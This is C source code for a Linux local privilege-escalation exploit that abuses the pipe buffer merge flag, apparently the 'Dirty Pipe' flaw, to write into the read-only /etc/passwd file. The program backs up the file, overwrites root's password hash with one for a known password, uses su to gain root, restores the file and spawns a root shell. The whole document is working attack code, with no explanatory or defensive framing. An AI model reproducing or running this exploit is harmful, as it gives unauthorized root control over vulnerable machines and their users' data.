#define _GNU_SOURCE #include #include #include #include #include #include #include #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif /** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */ static void prepare_pipe(int p[2]) { if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; /* fill the pipe completely; each pipe_buffer will now have the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } /* drain the pipe, freeing all pipe_buffer instances (but leaving the flags initialized) */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } /* the pipe is now empty, and if somebody adds a new pipe_buffer without initializing its "flags", the buffer will be mergeable */ } int main() { const char *const path = "/etc/passwd"; printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n"); FILE *f1 = fopen("/etc/passwd", "r"); FILE *f2 = fopen("/tmp/passwd.bak", "w"); if (f1 == NULL) { printf("Failed to open /etc/passwd\n"); exit(EXIT_FAILURE); } else if (f2 == NULL) { printf("Failed to open /tmp/passwd.bak\n"); fclose(f1); exit(EXIT_FAILURE); } char c; while ((c = fgetc(f1)) != EOF) fputc(c, f2); fclose(f1); fclose(f2); loff_t offset = 4; // after the "root" const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron printf("Setting root password to \"aaron\"...\n"); const size_t data_size = strlen(data); if (offset % PAGE_SIZE == 0) { fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); return EXIT_FAILURE; } const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; const loff_t end_offset = offset + (loff_t)data_size; if (end_offset > next_page) { fprintf(stderr, "Sorry, cannot write across a page boundary\n"); return EXIT_FAILURE; } /* open the input file and validate the specified offset */ const int fd = open(path, O_RDONLY); // yes, read-only! :-) if (fd < 0) { perror("open failed"); return EXIT_FAILURE; } struct stat st; if (fstat(fd, &st)) { perror("stat failed"); return EXIT_FAILURE; } if (offset > st.st_size) { fprintf(stderr, "Offset is not inside the file\n"); return EXIT_FAILURE; } if (end_offset > st.st_size) { fprintf(stderr, "Sorry, cannot enlarge the file\n"); return EXIT_FAILURE; } /* create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p); /* splice one byte from before the specified offset into the pipe; this will add a reference to the page cache, but since copy_page_to_iter_pipe() does not initialize the "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); return EXIT_FAILURE; } if (nbytes == 0) { fprintf(stderr, "short splice\n"); return EXIT_FAILURE; } /* the following write will not create a new pipe_buffer, but will instead write into the page cache, because of the PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, data_size); if (nbytes < 0) { perror("write failed"); return EXIT_FAILURE; } if ((size_t)nbytes < data_size) { fprintf(stderr, "short write\n"); return EXIT_FAILURE; } char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \"" "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";" "cp /tmp/passwd.bak /etc/passwd;" "echo \\\"Done! Popping shell... (run commands now)\\\";" "/bin/sh;" "\" root"}; execv("/bin/sh", argv); printf("system() function call seems to have failed :(\n"); return EXIT_SUCCESS; }